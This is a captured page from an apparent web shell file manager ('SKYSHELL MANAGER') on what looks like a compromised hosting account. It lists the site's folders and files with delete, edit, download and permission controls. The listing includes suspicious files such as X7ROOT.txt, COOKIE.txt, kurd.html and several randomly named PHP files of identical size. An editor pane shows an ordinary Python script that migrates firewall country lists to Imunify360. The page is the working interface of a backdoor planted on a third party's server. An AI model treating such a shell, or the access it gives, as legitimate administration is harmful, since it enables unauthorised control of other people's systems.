📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: country.py
import subprocess from typing import Literal from csf_conf import get_csf_config_value from logger_config import get_logger, capture_exception def migrate_country_codes() -> None: logger = get_logger() try: warn_cc_allow_fitler_is_set() allowed = get_csf_config_value("CC_ALLOW") denied = get_csf_config_value("CC_DENY") allowed = allowed.split(",") if allowed else [] denied = denied.split(",") if denied else [] logger.info(f"detected {allowed} allowed country codes") logger.info(f"detected {denied} denied country codes") if "US" in denied: logger.warning(""" Detect US in denied list, if this was unintentional, please remove it by running imunify360-agent blacklist country delete US """) apply_to_imunify_lists(allowed=allowed, denied=denied) logger.info( "country codes migrated to imunify lists, please verify them below" ) print_country_codes_in_imunify_lists() except Exception as e: logger.error(f"Error during country codes migration: {e}") capture_exception(e, {"migration_type": "country_codes"}) def warn_cc_allow_fitler_is_set() -> None: logger = get_logger() value = get_csf_config_value("CC_ALLOW_FILTER") if value and value != "": logger.warning( f"CC_ALLOW_FILTER is set to {value}, this will be ignored. We don't support it yet. " "If you need it, please contact support." ) def apply_to_imunify_lists(*, allowed: list[str], denied: list[str]) -> None: logger = get_logger() logger.info("applying to imunify lists") add_country_code_to_imunify_list( list_name="whitelist", country_codes=allowed ) add_country_code_to_imunify_list( list_name="blacklist", country_codes=denied ) def add_country_code_to_imunify_list( *, list_name: Literal["whitelist", "blacklist"], country_codes: list[str] ) -> None: logger = get_logger() if not country_codes: logger.info(f"No country codes to add to {list_name}") return cmd = [ "imunify360-agent", list_name, "country", "add", "--comment", '"migrated from csf"', *country_codes, ] logger.debug(f"Executing command: {' '.join(cmd)}") res = subprocess.run(cmd, capture_output=True, text=True) # Parse stderr for warnings about countries already in list already_in_list_warnings = [] if res.stderr: for line in res.stderr.strip().split("\n"): if "is already in" in line and "list" in line: already_in_list_warnings.append(line.strip()) # Log non-critical warnings as debug info for warning in already_in_list_warnings: logger.debug(f"Imunify agent warning: {warning}") # Only log error if return code is non-zero AND there are no "already in list" warnings # or if there are other types of errors if res.returncode != 0: if already_in_list_warnings: # If all errors are about countries already being in the list, just log as info logger.info( f"Some countries from {country_codes} are already in {list_name}" ) else: # Log actual errors logger.error( f"Error adding {country_codes} to {list_name}: {res.stderr}" ) def print_country_codes_in_imunify_lists() -> None: print_country_codes_in_imunify_list(list_name="whitelist") print_country_codes_in_imunify_list(list_name="blacklist") def print_country_codes_in_imunify_list( *, list_name: Literal["whitelist", "blacklist"] ) -> None: logger = get_logger() logger.info(f"\nlisting {list_name} countries:") res = subprocess.run( [ "imunify360-agent", list_name, "country", "list", ], capture_output=True, text=True, ) if res.returncode != 0: logger.error(f"Error listing {list_name} countries: {res.stderr}") return logger.info(res.stdout)
Save